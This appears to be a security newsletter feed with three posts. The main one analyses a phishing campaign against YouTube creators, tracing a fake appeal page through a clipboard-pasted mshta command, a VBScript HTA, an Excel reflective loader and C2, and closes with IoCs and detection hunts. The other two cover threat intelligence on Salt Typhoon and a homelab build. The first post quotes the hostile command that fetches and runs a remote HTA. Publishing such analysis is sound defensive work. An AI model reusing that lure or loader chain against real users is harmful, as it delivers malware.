Cyberwox Unplugged: Labs

Threat Intelligence Case Study: Dissecting a Multi-Stage Phishing Campaign Against YouTube Creators

Day Johnson — Tue, 02 Sep 2025 12:00:37 GMT

Phishing has been around since the dawn of email, but it hasn’t stayed the same.

What once appeared as clumsy scams with broken English and shady attachments has evolved into sophisticated, multi-layered attacks. Modern attacker campaigns not only deceive users but also utilize legitimate cloud services and Windows tools to blend into regular activity seamlessly.

This analysis covers a recent phishing attack that targeted me personally as a YouTube creator. On the surface, it appeared to be just another “appeal your ban” email. But once analyzed, it unraveled into a sophisticated malware chain that used Google Drive for delivery, Cloudflare for hosting, and Microsoft binaries like mshta.exe and Excel as the actual malware delivery mechanism.

One important note: I learned much of this in real time. I haven’t worked in a purely Windows environment in a few years, so a lot of this was deducing and making inferences based on past knowledge, some training I’ve taken, and pure intuition.

During my investigation, I didn’t start with a pre-written script or specific expectations. Instead, I learned each step in real-time, shifting from VirusTotal to ANY.RUN, dissecting a VBScript, and asking more questions as new behaviors appeared.

This approach makes this case worth sharing, as it involved not just analysis but active learning in practice.

The goal here isn’t just to show what happened, but also why it matters. I’ll break down the campaign stage by stage, explain the attacker’s logic, and highlight what defenders can learn — whether you’re just starting out or already working in incident response.

Subscribe now

🎥 Extended Video Analysis

For readers who want to see this campaign in action, I’ve published a 30-minute video analysis that walks through the complete sandbox detonation, script deobfuscation, and reflective loader behavior.

This video is available exclusively to Cyberwox Syndicate members on YouTube, along with a library of other technical breakdowns covering Detection Engineering, Threat Hunting scenarios, Incident Response case studies, Career Advice, Python Coding & AI.

📌 Learn more about the Syndicate and gain access here.

Analysis

Phase 1: Initial Access (The Phish)

Source: TA0001

The email appeared deceptively routine: a Google Drive share notification informing me that my channel was at risk of being banned unless I filed an “appeal.”

Historically, phishing emails attached malicious Office documents or zipped EXEs.

In recent years, defenders have become more resilient against those vectors. As a result, attackers have shifted to:

Cloud file-sharing abuse (Google Drive, Dropbox, OneDrive) to bypass filters.
Impersonation of high-value brands (YouTube, PayPal, Microsoft).
Social urgency: “Act now, or lose access.”

📸 [Screenshot: phishing email / Google Drive link]

📸 [Screenshot: phishing email / Vimeo too]

This was clearly not a handcrafted spearphish.

It appeared to be a campaign, hitting multiple inboxes simultaneously (redacted) with just enough polish to deceive distracted users.

Phase 2: The Fake Appeal Site & Clipboard Hijacking

Source: T1566.002

Clicking through the initial link policy[.]video led to youtube.strike.alert[.]org - a fake “YouTube Appeal Center.”

The page was convincing enough to mimic YouTube’s workflows.

📸 [Screenshot: fake appeal page]

📸 [Screenshot: me posing as Mr. Beast]

Here’s the clever part: it didn’t even ask me to log in to my channel afterwards.

Instead, it auto-populated my clipboard with a command and told me to complete the appeal process by executing: Win+R → Paste → Enter.

This represents a notable evolution in attacker techniques.

Historically, attackers tricked users into downloading EXEs. Today, they social-engineer users into running native binaries already on their system.

This helps them to “Live Off The Land”.

Also, clipboard hijacking is an under-discussed topic in phishing defense. Most training advises “don’t click links” but rarely emphasizes “be cautious about what you paste.”

📸 [Screenshot: Win+R instructions / pasted clipboard injection]

C:\WINDOWS\system32\mshta.exe hxxps://policy-agreement[.]com/DMCA_Notice.hta

The paste leveraged mshta.exe, a signed Microsoft binary capable of fetching and executing remote HTA (HTML Application) files.

Tooling Transparency (Not Sponsored)

This analysis was powered heavily by ANY.RUN’s interactive malware sandbox, which made it possible to observe each stage of the phishing chain in real time.

This issue is not sponsored by ANY.RUN, but I want to be transparent in crediting the platform because it played a central role in uncovering everything laid out here.

For defenders who want to go deeper than running single samples, ANY.RUN recently rolled out Threat Intelligence Feeds that aggregate behavioral data across thousands of detonations. This expands visibility from “what happened in my one sandbox run” to “what’s happening across the wild right now.”

📌 If you’re serious about threat intelligence, threat hunting or detection engineering, it’s worth exploring.

You can also find the ANY.RUN report for this investigation here.

Phase 3: MSHTA & Living Off the Land

Source: T1218.005

MSHTA isn’t malware. It’s actually part of Windows, specifically a Living-Off-the-Land (LOLBIN) binary.

Attackers abuse it because:

It’s trusted, signed by Microsoft.
It bypasses application whitelisting in many enterprises.
It supports remote execution of HTAs with full scripting capabilities (CRAZY WORK).

📸 [Screenshot: MSHTA Madness during analysis]

Historically, MSHTA abuse goes back to at least 2017, when APT32 and FIN7 used it in phishing campaigns (maybe one of them is targeting influencers now).

In this case, mshta.exe was instructed to download and run an HTA file called DMCA_notice.htafrom a remote server.

That file contained the next stage: VBScript code.

Light reading on MSHTA from Red Canary.

MSHTA LOLBIN Profile.

Phase 4: The HTA Loader (VBScript → Excel)

Source: T1218.005

As mentioned previously, the downloaded HTA file contained obfuscated VBScript code.

This is where we begin to see the transition from social engineering to execution.

SN: I’m not all that familiar with VBScript, but I can get by.

The VBScript:

Spawned an Excel.Application COM object.
Temporarily enabled the registry key AccessVBOM (which governs programmatic access to the VBA project model).
Injected a Base64-decoded VBA macro directly into Excel.
Wired a Workbook_NewSheet event to ensure execution.

📸 [Screenshot: Registry key modification – AccessVBOM enabled]

📸 [Screenshot: Subtle string concatenation obfuscation behavior]

Quick aside, I thought this string concatenation behavior was quite interesting.

Instead of writing the suspicious string outright ("Excel.Application"), the attacker breaks it into smaller fragments:

tmpString = "Exc"
tmpString = tmpString & "el.App"
tmpString = tmpString & "lication"

Then, at runtime, those fragments are concatenated into the full string:
Excel.Application

That reconstructed string is then passed into CreateObject() to instantiate Excel via COM automation.

Why would an attack do all this?

Signature Evasion: Static scanners will often look for explicit strings like "Excel.Application", "Wscript.Shell", or "MSXML2.XMLHTTP". Breaking them up prevents easy pattern-matching.

Analyst Friction: For someone casually inspecting the script, it appears more confusing, and you need to reassemble the pieces mentally.

Commodity Obfuscation: This technique is cheap and easy to implement. You often see it in phishing droppers, VBA/VBS loaders, and even JavaScript malware.

Victim Susceptibility: This technique bypasses the traditional “open this malicious document” step, which a suspecting victim will be privy to.

Red Canary has a nicely written blog on this behavior.

Phase 5: The VBA Reflective Loader

Source: T1620

Source: T1027.011

Once injected, the macro acted like a reflective shellcode loader.

Instead of dropping a file to disk, it:

Converted encoded Base64 payload strings back into executable code.
Used indirect API calls (DispCallFunc) to resolve Windows functions dynamically, avoiding static detection.
- More about DispCallFunc.
Reserved RWX (Read-Write-Execute) memory (VirtualAlloc), copied shellcode into it (RtlMoveMemory), and executed it with CreateThread.
- More about VirtualAlloc.
- More about RtlMoveMemory.

📸 [Screenshot: Any.Run view – Excel.exe outbound connection]

This is the same type of technique often employed in advanced malware & C2 frameworks, such as Cobalt Strike.

The difference here is that it was part of a phishing campaign targeting YouTube creators, which illustrates how attacker tradecraft once exclusive to nation-states or red-team operations is now appearing in common campaigns.

The macro reached out to:

hxxps://policy-agreement[.]com/agrees.bin (x86 payload)
hxxps://policy-agreement[.]com/agreese.bin (x64 payload)

Both were delivered over HTTPS, with certificate errors ignored — another way of blending into normal traffic.

It’s crazy that this binary never touched disk. It lived entirely in memory.

Some cool notes on reflective loaders.

Phase 6: Command and Control

Source: TA0011

Excel itself acted as the beacon, the communication channel.

C2 domain: policy-agreement[.]com
Protocol: HTTPS (but with bad certificates silently bypassed)
User-Agent: An outdated Internet Explorer string (Mozilla/4.0; MSIE 6.0; Windows NT 5.0). This can help evade modern detection rules that expect current browser signatures.
Infrastructure: Cloudflare-protected, backend IP in Amsterdam (RIPE NCC allocation).

📸 [Screenshot: Excel.exe using legacy UserAgent]

Join a vibrant cybersecurity community of over 6,500 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

Attribution Notes

I am not assigning this campaign to a named actor.

The evidence suggests a commodity crimeware operation or an affiliate-driven ecosystem, rather than a bespoke, state-sponsored group (bummer).

Several factors inform this assessment:

Targeting: “YouTube appeal” lures are a well-worn tactic in campaigns designed to hijack creator accounts for monetization (ad fraud, crypto scams, or resale). This is not new at all.
Tradecraft reuse: The clipboard → Win+R → mshta.exe pattern, HTA/VBScript loader, and reflective VBA macro are drawn from widely circulated public code. Even the outdated Internet Explorer User-Agent hints at template reuse rather than original development.
Infrastructure: The use of Cloudflare-fronted domains like policy-agreement[.]com with generic naming and shared backend IPs is consistent with low-cost, low-OPSEC phishing kits that frequently rotate their infrastructure.
Execution: While reflective loading and fileless execution look “advanced,” these have become standardized in the malware-as-a-service space and don’t necessarily indicate a high-skill actor.

What’s missing for higher-confidence attribution are overlaps in infrastructure (domain clusters, cert reuse), payload families, or development artifacts.

Given the current depth of my analysis, my most accurate framing is a financially motivated loader campaign leveraging commodity techniques against YouTube creators.

Defense Mechanisms

This campaign leaves behind multiple breadcrumbs across host, network, and memory. Below are hunting opportunities mapped to MITRE ATT&CK TTPs, with practical angles defenders can pursue.

Process & Execution Hunts

mshta.exe launching Excel
- ATT&CK: T1218.005 - Signed Binary Proxy Execution: MSHTA
- Hunt idea: Query EDR/Sysmon logs for mshta.exe spawning excel.exe (rare, highly suspicious).
- Example:
  - Sysmon Event ID 1 (ProcessCreate)
  - ParentImage: mshta.exe + Image: excel.exe
Excel spawning unusual child processes
- ATT&CK: T1106 - Native API; T1105 – Ingress Tool Transfer
- Hunt for excel.exe with outbound network activity or process injection behaviors (should be nearly nonexistent in normal use).

Registry Hunts

Modification of AccessVBOM key
- HKCU\Software\Microsoft\Office\\Excel\Security\AccessVBOM
- ATT&CK: T1112 - Modify Registry
- Hunt for registry changes that enable VBOM access, especially those followed by Excel activity.
- Sysmon Event ID 13 (RegistryEvent) with TargetObject: *\AccessVBOM

Network Hunts

Excel initiating HTTPS connections
- ATT&CK: T1071.001 - Application Layer Protocol: Web (HTTPS)
- Hunt for unusual parent process (excel.exe) establishing TLS sessions.
- Alert on legacy User-Agent strings (Mozilla/4.0; MSIE 6.0; Windows NT 5.0) in proxy logs.
Connections to suspicious domains behind Cloudflare
- ATT&CK: T1102 - Web Service; T1105 - Ingress Tool Transfer
- Focus on domains recently registered, mismatched TLS certs, or with patterns mimicking legitimate services (policy-agreement[.]com, youtube.strike.alert[.]org).

Memory / API Call Hunts

Excel performing reflective code loading
- ATT&CK: T1620 - Reflective Code Loading
- Look for Office processes calling VirtualAlloc, RtlMoveMemory, and CreateThread.
- ETW or EDR telemetry can reveal these unusual API sequences.

Clipboard / User Interaction Hunts

Clipboard injection leading to Win+R execution
- ATT&CK: T1056.001 - Input Capture: Clipboard Data
- Hunt for patterns of auto-pasted mshta.exe commands in user activity logs.
- Harder to detect, but can be spotted in forensic investigations.

Defensive Controls to Prioritize

Restrict or disable mshta.exe (AppLocker / WDAC).
Enable Microsoft ASR rules:
- Block Office applications from creating child processes
- Block Win32 API calls from Office macros
Harden macro execution policies; disable programmatic access to VBOM.
Add proxy/firewall detections for Excel/Office Apps outbound HTTPS traffic.

Indicators of Compromise (IoCs)

IPs

188.114.96.3
185.158.133.1

Domains

policy[.]video
youtube.strike.alert[.]org
policy-agreement[.]com

Files

DMCA_notice.hta
agrees.bin
agreese.bin

Hashes

af32902cf27ffe3d4c1de4cf889edb0ed4ecae0f910ab47a2a0188be08b39f83

Registry

HKCU\Software\Microsoft\Office\\Excel\Security\AccessVBOM

Processes

mshta.exe launching HTA → Excel.exe network activity

Detection Opportunities

Host-Based:

Monitor for mshta.exe spawning Office processes.
Alert on AccessVBOM registry changes.
Hunt for RWX memory allocations in Excel (or other office apps).

Network-Based:

Excel initiating HTTPS sessions.
Legacy User-Agent strings.
C2 domains behind Cloudflare with ignored TLS validation.

Prevention:

Restrict/block MSHTA in enterprise environments (as needed).
Enforce Office ASR rules (“block child processes,” “block API calls from macros”).
Disable programmatic VBOM access via GPO.

Conclusion

What happened to me is part of a larger trend showing that phishing is no longer just an email with bad grammar. It’s now:

Blended trust abuse: Cloud services + legitimate binaries.
Multi-stage loaders: HTA → VBScript → Excel → reflective shellcode.
Defense evasion: fileless, memory-resident, TLS-encrypted C2.

For newer defenders, the lesson is not to underestimate a “simple phish.”

For seasoned analysts, this campaign demonstrates how low-cost adversaries are now borrowing tradecraft once considered “sophisticated.”

This incident serves as a reminder that attackers don’t have to invent new methods constantly. They simply adapt existing, proven techniques in ways that defenders might overlook.

Closing Note

Thank you for reading!

This is my first full analysis-style newsletter, as most of my writing here has been reflective or career-focused. However, this time I wanted to share what it looks like when I sit down and work through a real-world attack in detail.

This kind of analysis is something I plan to do more often, blending storytelling, threat intelligence, and detection engineering into reports that are useful to both students and seasoned professionals.

Your feedback means a great deal as I develop this format. If you found this valuable, please share it with someone in your network who would also benefit from it.

Share Cyberwox Unplugged

The Power Of Cyber Threat Intelligence

Day Johnson — Wed, 27 Aug 2025 12:46:38 GMT

Conflict today doesn’t just play out on land, sea, or in the air. It’s expanded into cyberspace.

Behind every headline of breaches and takedowns are targeted campaigns carried out by methodical, well-resourced threat actors — each with their motives, tactics, and long-term goals.

One such group is Salt Typhoon (also tracked as FamousSparrow and GhostEmperor depending on the vendor).

A Chinese nation-state–backed adversary that has been discovered infiltrating major U.S. telecom networks — from T-Mobile to Verizon, Samsung, and others.

Salt Typhoon is known for stealth, patience, and precision.

They leave behind only faint traces across compromised networks, making it exceptionally difficult for defenders to contain or eradicate their activity.

That challenge is exactly where cyber threat intelligence (CTI) comes in.

From IOCs to Insight

Threat intelligence is not just about collecting IOCs (indicators of compromise, such as hashes, IPs, and domains) and feeding them into SIEMs.

At its best, CTI is about connecting the dots: finding patterns across disparate indicators, uncovering infrastructure, profiling adversary behavior, and turning raw data into actionable defense.

The value lies in the transformation:

From a file hash → to the malware family behind it.
From a suspicious domain → to the broader C2 network.
From isolated alerts → to an adversary campaign strategy.

When done well, this enables defenders to build more effective detections, strengthen playbooks, automate enrichment, and prioritize risks in line with evolving active threat landscapes.

About Me

If you're new here, I'm Day, a Cybersecurity Engineer at Amazon. With five years in cybersecurity, my experience covers Detection Engineering, Cloud Security, Incident Response, Threat Hunting, and most recently, Threat Intelligence.

Before Amazon, I worked at Datadog as a cloud threat detection engineer, where I researched cloud threats and built detections for various cloud providers and SaaS applications.

I've worked my way up from various SOC analyst roles, investigating everything from endpoint threats to building detection systems for cloud-based abuse, so I know exactly what it takes to break into this field and make career advancements.

I started, just like many of you, learning from scratch, asking questions, and figuring it out one step at a time. And now, I'm here to help you do the same.

If you want to stay up-to-date on the cybersecurity industry and everything technical and career-related, be sure to like and subscribe to the newsletter for more content like this.

Join Us!

Applying CTI in Practice

As a Security Engineer at Amazon, I’ve had the opportunity to use threat intelligence at scale.

But CTI isn’t just for enterprise SOCs. With the right tools, individual analysts and researchers can explore and learn from the same adversary tradecraft.

For this issue, I investigated Salt Typhoon using ANY.RUN’s Threat Intelligence Platform. It blends interactive sandboxing (their signature strength) with curated intelligence and lookup capabilities. Here’s what that looks like in practice:

Starting with a handful of IOCs, such as an IP address, a SHA-256 hash, or a domain name.
Pivoting into reports → correlating with published research from vendors like Trend Micro.
Interactive detonation → running suspicious files in a sandbox, observing process creation, persistence mechanisms, and outbound C2 calls.
Hunting for connections → mapping behaviors against known TTPs and extracting new indicators.
YARA integration → building and running rules directly in the platform to surface related artifacts.

What begins as a single suspicious hash quickly expands into a narrative: a Trojan is dropped, a service is created for persistence, reconnaissance of the host is conducted, and finally, communication with a C2 domain occurs.

Why It Matters

The power of CTI lies in turning fragments into a story.

Instead of drowning in endless IOCs, analysts can contextualize activity, link it to known actors, and anticipate what might come next.

In this case, a few scattered data points around Salt Typhoon transformed into a clearer picture of:

Their infrastructure choices
Their persistence techniques
Their reconnaissance behavior
Their communication patterns

With that knowledge, defenders can proactively hunt for related TTPs in their environments or simulate adversary behavior to test defenses.

ANY.RUN Threat Intelligence

This issue is powered by ANY.RUN, which sponsored this deep dive. ANY.RUN makes it easy to turn raw indicators into actionable intelligence without needing to set up your own lab environment. If you’re serious about developing threat intelligence skills, it’s worth checking out.

🚀Unlock (free) ANY.RUN Threat Intel

Closing

What began as a file hash and a suspicious domain evolved into a broader narrative about Salt Typhoon’s operations. That’s the heart of cyber threat intelligence: transforming raw signals into stories that defenders can act on.

If you’re early in your cybersecurity journey, practice this workflow yourself:

Begin with a known IOC from a publicly available report.
Pivot into related domains, files, and hashes.
Map the TTPs you discover against frameworks like MITRE ATT&CK.
Build detections or run hunts based on your findings.

That’s how you transition from merely “consuming” intel to generating actionable intelligence — a skill that grows from home labs to Fortune 500 SOCs.

Here’s a video that can help you do that:

Thanks for reading Cyberwox Unplugged! This post is public, so feel free to share it.

Why I’m Building a New Cybersecurity Homelab

Day Johnson — Fri, 22 Aug 2025 12:03:17 GMT

Five years ago, I was just a curious college freshman with a few spare computer parts, a lot of Google searches, and a dream of breaking into cybersecurity.

That spark led me to build my very first homelab in a small apartment bedroom. No mentors, no structured guidance, just curiosity and trial-and-error.

That project changed everything. It was the first time I saw what was really happening under the hood: how hosts behaved, how networks communicated, how virtual machines could mimic production environments.

My entire career in incident response, detection engineering, threat hunting, and cloud security traces back to that moment.

Now, half a decade later, I’m starting over.

But this time, I’m building with real-world experience behind me, more intention, and a vision.

Dec 2020 → 18-year-old me - working as a Cybersecurity Intern & full-time college sophomore at the time.

Why Start Over?

The first lab was raw curiosity.

Plugging things together, watching packets fly, and trying to make sense of it all.

That’s exactly what I needed at the time. But I’ve grown. I’m no longer the kid trying to figure out what a SIEM even is. I’m a security engineer at Amazon who’s lived in the trenches of incident response, adversary detection, and cloud security.

And with that growth comes new questions:

How can I push my homelab into its next evolution?
How can I design my homelab to build and test the new skills I want to develop at this stage of my career?
How can my new homelab help me learn new skills?

This time, the goal is not just tinkering. I’m designing a home Security Operations Center (SOC) where I can experiment, prototype, and learn new skills in public.

Jan 2021 → For a while, I thought I was going to become a network (security) engineer, so here I am in 2021, diving into network security for Cisco routers and switches. Spoiler: I did not become a network security engineer.

About Me

Before Amazon, I worked at Datadog as a cloud threat detection engineer, where I researched cloud threats and built detections for various cloud providers and SaaS applications.

I've worked my way up from SOC analyst roles, investigating everything from endpoint threats to cloud-based abuse, so I know exactly what it takes to break into this field.

I started, just like many of you, learning from scratch, asking questions, and figuring it out one step at a time. And now, I'm here to help you do the same.

I was able to break into cybersecurity as early as my freshman year of college. I’ve secured several jobs and interviews before earning my college degree, and I’ve helped thousands of people achieve the same success on my various content channels and in my Discord Community.

Join Us!

The New Blueprint

Here’s where I’m starting:

The Hardware: I’m converting an old PC into a Type-1 hypervisor (bare-metal virtualization). No middleman OS, just pure performance and control.
The Core Platform: Running Proxmox for virtualization. I’m also planning to explore diving deeper into mini-data center operations by leveraging Proxmox’s clustering functionality.
The SOC Engine: Wazuh at the center, doubling as both my SIEM and XDR platform. This also helps me leverage a unified platform that I can plug external integrations into for experiments.
Visibility Everywhere: Rolling out agents to every endpoint I can—Windows, macOS, IoT devices, even “smart” tech around the house. If it talks to the internet, I want visibility.
Additional Tools: Still deciding, but possibilities include Limacharlie for EDR testing, Pfsense for firewall, and maybe some local Container tools that I may use for experimenting with Falco. Wazuh itself has active response, so I’ll be balancing native vs. add-on capabilities.
AI in the SOC: Beyond buzzwords, I’ll experiment with using LLMs for anomaly detection, automation, and more intelligent triage workflows. I’ll also be playing around with MCP integrations to see what that yields.

March 2021 → the evolution of my “lab”. It honestly was just the addition of an excessive 49” ultrawide screen and stacked monitor setup.

Lessons in Frustration (and Growth)

One thing hasn’t changed since my first homelab: trial and error is the name of the game.

Getting Proxmox running on bare metal was a headache.

I went through HDMI swaps, capture card experiments, BIOS tweaks, and kernel parameter hacks before things finally booted correctly.

At one point, it felt like I’d broken the host.

Spoiler: I hadn’t. It just required persistence.

Moments like that reminded me why homelabs matter so much. They expose the rust in your technical chops.

They force you to fail, to troubleshoot, and to learn. And I’ve found that to be the best preparation for real-world security work.

May 2021 → I spent a lot of time learning about Splunk within my homelab, and it paid a lot of dividends over the ongoing course of my career (till this day).

Why It Matters. Why Now?

This lab isn’t about showing off gear (tbh the gear is old) or building the “perfect” setup. It’s about my desire to create a sandbox for growth:

For me, it’s a way to stay sharp outside of work, to play with tools in ways I can’t in enterprise environments.
For the community, it’s proof that learning never stops. I’ll be sharing my process openly, mistakes and all, so that others can build their own versions.
For the industry, it’s a reminder that innovation often starts at home, with curiosity and persistence.

Five years ago, my first homelab helped me land interviews, build skills, and eventually start my career.

Who knows what this next one will spark?

January 2022 → New Apartment with separate setups for work and study/labbing. This is actually me taking the Security Blue Team BTL1 certification!

What’s Next

This was just Step 1: Laying the foundation.

Next, I’ll be deploying Wazuh on Proxmox, configuring my SIEM/XDR stack, and rolling out agents across every machine in my house.

From there, I’ll test detection engineering workflows, automation, and maybe even play with AI-assisted incident response.

If something in my home misbehaves, I want to catch it.
If it breaks, I want to know why.
And if it teaches me something new, I want to share that with you.

The journey continues.

Stay tuned.

💡 A Note of Gratitude

This issue of Cyberwox Unplugged is my very first paid post.

That means you’re not just reading my reflections—you’re directly supporting the growth of this publication and my mission to build practical, real-world cybersecurity content.

Thank you for being here and investing in the journey with me.

This is just the beginning.

Thanks for reading Cyberwox Unplugged! This post is public, so feel free to share it.